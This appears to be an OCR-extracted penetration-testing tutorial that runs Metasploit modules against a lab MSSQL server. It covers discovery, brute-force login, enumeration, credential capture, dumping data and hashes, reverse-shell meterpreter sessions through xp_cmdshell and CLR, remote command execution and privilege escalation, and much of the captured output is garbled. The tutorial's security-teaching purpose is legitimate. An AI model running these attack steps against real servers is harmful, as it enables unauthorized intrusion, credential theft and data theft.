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Introduction

Metasploit is an excellent framework developed by H. D. Moore. It is a free and lightweight tool for
penetration testing. It is open-source and cross-platform and has a range of features. Its popularity rests
primarily on the fact that it is a powerful tool for auditing security. While this is true, it also has many
features that can help people protect themselves. Personally speaking, this is my go-to tool for testing as
it encapsulates the exploit a pentester can ever need. Through this article, we will learn how to use
Metasploit to exploit MSSQL. Therefore, we will go through every exploit Metasploit has to offer step by
step, from finding the MSSQL server in the network to retrieving the sensitive information from the
database and gaining control. Without any further ado, let us begin.

Information Gathering & Enumeration
Locating MSSQL Server

When testing MSSQL servers, whether remotely or locally, our first requirement is to find the server in
the network. And for this, we will use the following exploit in Metasploit:

use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit

L1
—+
[ p ]

e auxiliary/scanner/mssgl/mssgl_ping
il1 { } » set rhosts 192.168.1.1/255

==
(T == [T}
—+ S |—h

{ ) > back
(iliary/scanner/mssql/mssqgl_ping
{ } » set rhosts 192.168.1.1/2%

ENENE
L 5]
—+ [

rho
5

—+

> exploit

m

SQL Server information for 192.168.1.3:
Se riame WIN-41Q5IVU2CO7T
InstanceMName SOLEXPRESS
IsClustered
Version
tcp

Password Cracking

We have found the server, so our next step is to retrieve the credentials of the server. We will enforce a
dictionary attack for this, with the help of the following exploit:

use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3

set user_file /root/users.txt

set verbose false

exploit

cGNITE Page 3 of 19

Technologies



t rhosts 192.168.1.3

modul xecution completed
As you can see in the image above, we have the credentials.

Retrieving MSSQL version

We can also get all the information about the MSSQL server and its version with the help of the
following exploit:

use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

= = |2 |2

Lz =l (T I [T
S |=h|=h
[ [0 53]
—+

username lowpriv

=
—+
1 |h

A

=
—+
=]

password Password@l

5QL Query:
Row Count: (Sta : 16 Command: 1

Microsoft SQL Server 2016 (SP2) (KB&
Mar 18 28018 @9:11:49
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows Serv

Auxlllary module executlon completed
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MSSQL Enumeration

Let’s now enumerate the server and see what all information we can get. And for this, we will use the
following exploit:

use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

enum
» set rhosts 192.168.1.3

> s5et username lowpriv

=
[T

=

wi set password Passwordml
Passwordml
xiliary( ) > exploit
module against 192.

<1

(5]

192.168. unning MS 5QL Server Enumeration ...
192.168. rsion
Micro ¢

ess Edition (64-bit) on Windows Serwver 2019 Standard Evalu
- Configuration Parameters:
2 Andit Mode s KMot Fnahlead
cmdshell is Enabled

chch & Ch Ch
o o o o

W updates is Not Enabled
Mail XPs is Not Enabled
Ole Automation Procedures are Mot Enabled
on the se EE
name:mas
i for master:

[= = = s s s s s s I T
0o 0o imiKmiKodknioo

‘rogram
C:\Program
System Logins on
sa

ohooh O Ch
0o 0o oo

EFHRERRPRRERRRPRRERRRERRERRRERRERRRERRERRRERRERERRERREREREM

2.1
.1
.1

7.1
.1
.1
.1
.1

7.1

2.1
.1
.1
.1
.1
.1

2.1
.1
.1
.1
.1

7.1

2.1
.1
.1
.1

7.1

2.1
.1

e I e e e e e el e e e el e el o T I S S

=1
s ]
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As the result of the above exploit, you can see what permissions are given to the database, which logins
are available with other helpful information. The same can be seen in the image above.

SQL Users Enumeration

We can also find the proper login list of all the users on the server. Metasploit provides us with a particular
exploit for just this task. And the exploit is the following:

use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

ENE]
L (]
—+ |
[sy (s3]

I:-‘

=
[ -
=]

=
—+

sername lowpriv

=
LEa Iy}
—+ D

lnwpriv

=l

\ assword Passwordal
Passwordal
auxiliary(
Running module against 192

=
(T}
—+ LA

(%]
rJ:l

Attempflng to connect to the database

oh Ch
[+ I ¢ ]

1.

1 -

1 cking if lowpriv has the sysadmin role ...
1 lowpriv is a sysadmin.

il Setup to fuzz SOL Server logins.

1 Enumerating legins

1 38 initial SQL Se r logins were found.
1 Verifying the SQL Server logins ...

1 16 SOL Server logins were wverif

1 HiMS_PolicyEventProcessing ]

1 #H#HMS_PolicyTsglExecutionlLoginid

1 HiMS_sOLAuthenti 01t91T1+1LﬂTnn#
1. HIMS_SOLRepli ifi
.1.3:1!4 ﬁ#hS_SQLEe5au1LeJ19n1ngL91+1+11qtenﬂ
1

1

1

1

1

1

1

1

1

1

.1

\

Ty

Oh &h & O Oh S0 Ch R Eh
Co 0D 0o 00 00 00 OO OO OB

oh h
[+ =]

BUILTINYUsers

NT YANSYSTEM

NT SERVIC LTELEMETRY$SOLEXPRESS
NT SERVIC OLWriter

NT SERVICE nmgmt

NT Servic JDLE SOLEXPRES
WIN-41051 .‘Admlnl;txatar
WIN-410Q5IV arti

ignite

lowpriv

cd

ChSh Sh S Sh Ch CRCh Ch
OO 0o 0 00 0O Ob OO OO Of

ull;
ull;
ull;
1
1
1
1
1
1
1
1
1
168
1
1
1
1
1
1
1
1
1
1
1
1.

T
ia

And as a result, you can see in the above image that the list of all users will be provided to you.
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Capturing MSSQL login
The next exploit that we are going to use is capture/mssql. This exploit creates a fake server and tries to
capture the authenticated credentials from the original server. To use this exploit, type;

use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit

; aukiliaryKEErverfcapture!m55ql
i ' ) set srvhost 192.168.1.2

aryl )

xiliary( ) > exploit
Auxiliary module running as background job 0.

.168.1.2:1
=)

. -
y 5

r

Now, if the user tries to log in to the server, for instance, we will have the credentials with the following
command:

sqsh -$ 192.168.1.2 -U sa -P "Password@1"

)] =
505 192.168.1.72 Sa P

sqsh-2.5.16.1 Copy (C) 1995-2

Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp

This is free software with ABSOLUTELY NO WARRANTY

For more information type '‘warranty’
Login failed for user 'sa’.

Open Client Message

Layer @, Origin @, Severity 78, Number 49
Unexpected EOF from the server

Password: [

And when you check your Metasploit, voila! You will have the correct login credentials of the server, which
you can see in the image below as well:
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xiliary( ) > Server started.
liary/server/capture/mssgl is still calling the deprec:
mation about LoginScanners and the
.com/rapid?/metasploit-framework /wik
.com/rapid?/metasploit-framework /wiki/How-t

Started service listener on 192.168.1.2:

amples of modules rerted to just re t credential
'fgithub.com, id7/metasploit-framework/pull/5s

Creating Database

Usually, any MSSQL server that you are pentesting will have a database. But as the server on which we
are performing this penetration testing is new as we also wanted to show the lab setup; therefore, for our
next exploit to work, we will be creating a database in our server. To make the database, use the following
command:

create database bank;

4 SOLQueryl.sql - WIN-410QSIVU2COMSQLEXPRESS.master (SA (53))" - Microsoft SQL Serv.., Cuick Launch (Ctrl+ C) L
File  Edit View Query Project Tools Window  Help
0o -2 E | BNy BRIBR XA |2-C-|B] -]

N | master - | b Bee © v EEE[E] R A = EE=0

Object Explorer AR Il 50l Queryl.sgl - WIL...55.master (SA (33))* + X

Connect~ ¥ *F ¢ create database bank; =efl—

= @ WIN-4105IVU2C9TSOLEXPRES
Databases

Security
= Server Objects

2] Replication

E2] PolyBase

= Management

{#] XEvent Profiler 100% -
B Messages

|Ccmmands completed successfully.

Completion time: 2021-08-0&T05:01:02.6706824+05:30

100% - 4
@) Query executed successful... | WIN-41Q5IVU2CIT\SOLEXPRESS ... | SA (53) | master | 00:00¢
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As the above query executes itself successfully, our next step is to type in the following query:

/CREATE TABLE Customers ( \
CustomerlD int,

LastName varchar(255),

FirstName varchar(255),

passw varchar(255),

creditcard varchar(255)

d J

I_‘fl SQLQueryT.sgl - WIN-4105WVU2CINSOLEXPRESS.bank (5A (33))* - Microseft SOL Server Management Stu

File  Edit View Query Project Tools Window  Help
(@O -2 BNevauey BRI X TA|D-

E

% | bank - b Beate « vE2EE W A0
Object Explorer L Sl SOl Queryl.sql - WIL..RESS.bank (54 (33)) & X
TR T r —-|CREATE TABLE Customers |
Connect = 5 '
onne Tr c‘ CustomerID int,
= B WIN-4105IVU2C9NSOLEXPRE LastName warchar(255),
= Databases FirstMame varchar(255),
¥ System Databases passw varchar(255),

- Database Snapshots creditcard varchar(255)

+ Database Diagrams
Tables
Views

External Resources
Synonyms
Programmability
Service Broker

R i e A I = R e

Storage

And so, as you can see in the image above, our table is created. Now, let’s add data to our table with the

help of the following query:

INSERT INTO Customers(CustomerlD, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite’, 'admin123', '1111-2222-3333-4444');

INSERT INTO Customers(CustomerlD, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha’, 'admin1234', '5555-6666-7777-8888');

INSERT INTO Customers(CustomerlD, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');

INSERT INTO Customers(CustomerlID, LastName, FirstName, passw, creditcard)
\I’-\LUES ('04', 'Madan’','Geet', 'admin12311', '1234-5678-9012-3456');

4
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Otject Explore SQLOuenal- WL REss bank 54 G3)'_= > [

Connect~ ¥ *% ¢ I INSERT INTO Customers(CustomerID, LastMame, FirstName, passw, creditcard)
VALUES ('81', 'Technologies','Ignite', 'adminl123', '1111-2222-3333-4444");
= @ WIN-41Q5IVU2CST\SOLEXPRES
= M Databases ZJINSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
Systemn Databases VALUES ('@2', 'Sharma', 'Nisha', 'adminl234', '5555-6666-7777-8888');
Database Snapshots
o @ bank ZJINSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('83', 'Chandel','Raj', 'adminl2345', '9999-1818-1828-1838');

Database Diagrams
Tables

. ZIINSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
Wiews VALUES ('®4', 'Madan’','Geet', 'adminl2311’, '1234-55?8-9312-3455'j:.,:T

External Resources

Synonyms
Programmability
Service Broker

BEERREEERME

Storage
Security

)

5

This way, you can create your database.

Dumping Database

Now that we have our database, let us learn how we can dump the content of the database with the help
of Metasploit. Luckily, Metasploit has a particular exploit dedicated to dumping the content of the
database. And to use the said exploit type:

/use auxiliary/admin/mssql/mssql_findandsampledata \
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName | passw | credit

prloit /
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swordml

5tName|pa55w|credit

WIN-41QSIVU2C97\S
WIN-41Q51 IEHIT
WIN-41Q5IVU2C
WIN-41Q5IVU2C

WIN-41Q5T

WIN-41Q51

WIN-41Q51
WIN-41QSIVU2C97\SQLEXPRESS
WIN-41Q5IVU2C JLEXPRESS

SOLEXPRESS

Customers
C ers
Customers

Customers

Customers

Customers

Customers

Customers

Customers

creditcard

creditcard

creditcard

creditcard

FirstName

FirstName

FirstName

FirstName

varchar

varchar

varchar

varchar

varchar

varchar

varchar

varchar

varchar

varchar

varchar

Thus, using the above exploit will give the desired content of the database. For instance, the data we

dumped had the information of the stored credit cards of the users.

SchemaDump

The next exploit that we are going to use will dumb the schema of the server. And to use this exploit, use

the following set of commands:

use auxiliary/scanner/mssql/mssqgl_schemadump

set rhosts 192.168.1.3

set username lowpriv

set password Password@1
exploit

cGNITE
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192.168.1.3

= Ly |
[ g
—+ O
oh o

(]

— D
|

> sswordoml
xiliary(

Port:

Instanc QLEXPRESS

Version: Microsoft SOL Server 2816 (5P2) (KB4®52908) - 13.0.5826.8 (X64)
Mar 18 2¢
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows Server 2819 Standard Evaluation

- DBName: bank
Tables:
- TableName: Customers

Columns:

- ColumnName :
ColumnType: in
ColumnLength:
ColumnMNam
ColumnTy
ColumnLen
ColumnNam
ColumnType:
ColumnLengt

- ColumnName :
ColumnType:
ColumnLength

- ColumnMNam
ColumnTy
ColumnLength

192.168.1.3:14 - Scanned 1 of 1 hosts
Auxiliary modul xecution completed

And so, with the help of the above exploit, we have the data from the server.

Hashdump

Last but not least, our next exploit is used to dump the hashes of the users from the server. To use this
exploit, type:

Note: This Practical is performed on 2012 Server.

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149

set username sa

set password Password@1

exploit
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Liliaryf5cannerfm55qlfm55ql_hashdump
( } > set rhosts 192.168.1.149

Passwordmgl

Instance Nam

ring mssql

ng mssgl

ng mssgl
Scanned 1 of 1

oh o Sh Sh Sh SN
o oo 00 00 o

Command Execution
Xp_cmdshell

We found the MSSQL server in the network, retrieved the credentials, impersonated the user to have
higher privileges. So now, let us try and get a meterpreter session of the server by exploit xp_cmdshell by
using the following exploit:

use exploit/windows/mssqgl/mssql_payload
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

Lfa]
—+
o

u
ing

(I (]
(=1 b ot
[T [=4}
T =
Womowm W

—
o

cploit( ) > set username lowpriv
= lowpriv
loit( )} > set password Passwordml
rd = Passwordaol
exploit( )} > exploit

W

— D
oh =

ta

L
) hell disabled, tryin

Command ! g : ) e (1499/

Command " progre 2.93 ¢ 8/10

Command

Command

Command

Command Sta :

Command : " Progre 0.26% done

Command : " pr : . done

Command ! " pProgre 3 . done (13491/1

Command ! " Progre 4.66% done (14990/1

Command Stager progre 6, ' done (16489/1

0 00 0 o

[22]

1
1
1
1
1
1 8
1
1
1
1
1
1

(T T T B T

(]

As you can see in the above image, the exploit is trying to enable the xp_cmdshell to have our session.
We have written a detailed article on xp_cmdshell, which you can read here. Once the xp_cmdshel is
successfully enabled, we will have our meterpreter session as shown in the image below:
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LA
=

progre

Command
Command
Command
Command
3174 bytes
— Command

wr A U LA
Lo T R "

L= T e it I "

LA

> sysinfo
! WIN-41QSIVU2CO97
: Windows
rchitecture
System Language
omain

xB6/windows

MSSQl_exec

Now, if we want to execute a command on the server, we can do that remotely with the help of
Metasploit’s following exploit:

/use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

set cmd "net user"

\\fXMOH ///

rhosts 192.168.1.3
username Llowpriwv
password Passwordaml

cmd "net user”

msf6 auxiliary( )} > exploit
Running module against 192

- 50L Query: EXEC master..xp_cmdshell

output

User accounts for

Administrator DefaultAccount
ignite WDAGUtilityAccount
command completed with one or more errors.

Auxiliary module execution completed
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And as you can see in the image above, the exploit is executed successfully, and we have our desired
result, i.e., the list of all the net users.

Another method to execute the desired command is to first write the command in .sql file with the
following command:

cat user.sql
CREATE LOGIN testl WITH PASSWORD = 'Password@1’;

Now we can use this .sgl to run on the server, remotely, with the help of the following exploit:

/use auxiliary/admin/mssql/mssql_sql_file \
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

set sql_file /root/user.sql

exploit

cat user.sal
CREATE LOGIN testl WITH PASSWORD = "Passwordml’;

iliary/admin/mssgl/mssgl_sgl_file
[ ) = set rhosts 192.168.1.3

LA [eA
—+ |
(= (=]

rho
s

username lowpriv

—

m

=

LS
o

—+

et password Passwordpl

El

=2 o
(T I =T}
—+ LA

set sgl_file /root/user.sql

W
(T =]

exploit

=

LOGIN testl WITH PASSWORD = 'Passwordml’;

nsfe auxiliary(

And as a result, the above exploit will create a user with the name of testl. You can manually go to the
server and confirm the creation of the user as shown in the image below:
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> 0 %

Object Explorer

Connect~ ¥ ¥ A vVIE S

= @ WIN-4105IVU2CITSOLEXPRESS (SOL Server 13.0.5026 - =a)
Databases
= Security
B

mse #EMS_PolicyEventProcessingLogings
mse #EMS_PolicyTsqlExecutionLogings
=8 BUILTINYUsers
M ignite

aa lowpriv

a NT AUTHORITY\SYSTEM

a MT Service\MSSOLSSOLEXPRESS

m MT SERVICE\SOLTELEMETRYSSCLEXPRESS
a MT SERVICE\SOLWriter

a MNT SERVICE\Winmgmt

= sa

a WIN-41Q5IVU2CI T aarti

aa WIN-H10Q5IVU2CITAdministrator

CLR Assembly
The next exploit will help to take advantage of the CLR integration. This exploit will enable CLR integration,
and along with that, it will also activate the trustworthy database property. After the exploit gives you the
session, it restores all the settings to their original form. To use this exploit, type:

/use exploit/windows/mssqgl/mssql_clr_payload \
set payload windows/x64/meterpreter/reverse_tcp

set rhosts 192.168.1.3

set username lowpriv

set password Password@1

Cxploit /
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et username lowpriv

password Passwordml
> Password@l
xploit( )} > exploit

TCP handler on 192.168.1 4
Setting EXITFUNC to 'thread' so we don't kill SQL Server
€ TRUSTWORTHY setting on, enabling
support ¢ led, enabling

S h O Eh O K
== v = = = R e = s =

storing CLR
Restoring Trustwor
session 1 opened (19Z.1b8.1.Z: s.168. 49¢ ] 1-08-06 11:00:56

H 0o 06

sysinfo
: WIN-41Q51V
: Windows
Architecture : x64
System Language : en_
D - -

And as you can see, the exploit followed all the steps to exploit CLR integration to its potential. And it
gives out the meterpreter session as shown in the image above.

Privilege Escalation
Public to Sysadmin

Now that we have the user’s credentials, we can use the following exploit escalate privileges for our user.
This exploit will manipulate the trustworthy property of the database and give you all the privileges you
desire. And for this, we will use the following exploit:

use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

Note: To deeply understand the working of this exploit, read our other article_here.
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admin/mssql/mssql_escalate_dbowner
) > set rhosts 192.168.

ERN=NC ]
[T (T T [T ol T

(]

Attempting to connect to the database server a 2.168. tH s lowpriv...
ted.
ng if lowpriv has e s) s
NOT a sysadmin, let’ y to ¢ that

t'h.::.'lf'ing_ far trusted data ¢ W sadmins ..

(== =R e - )

-]

" has the db_owner role in any of them...
found!
alate 1n ignite!

e el
[ T S S S S T S S

el ittt et el el o
iy
fury

ong s, lowpriv is now a sysadmin!.
y module execution completed
msté auxiliary(

As you can see above, we got sysadmin privileges for our users.

Impersonation

Another method to gain privileges is by impersonating another user. And the following exploit will help
us do precisely that; it will let our user impersonate other users to gain sysadmin privilege. To use this
exploit, use the following set of commands:

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3

set username lowpriv

set password Password@1

exploit

liary/admin/mssql/mssgql_escalate

LA

=

=
= [t

=

=]
L

=

=
]

L1 o

=

Attempting to connect to the database server a 2.168.1.3:1¢ as lowpriv

Connected.
Checking if lowpriv has the sysadmin role

a

You NOT a sysadmin, 5 try t
Enumerating a list of users that

1 users can be impersonated:

- sa

Checking if any of them are sysadmins ...
- sa 1is a sysadmin!

Attemnting to impersnnate sa ...
Congrats, lowpriv is now a sysadmin!.
cution completed
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Now, as you can see in the image above, the lowpriv user can impersonate a sa user. Sa user is a member
of sysadmin, and with the help of the above exploit, lowpriv is now a sysadmin too, as it impersonated a

sa user.
All in all, Metasploit is one of the best tools to pentest MSSQL servers as it offers so many exploits and
multiple ways to do so.
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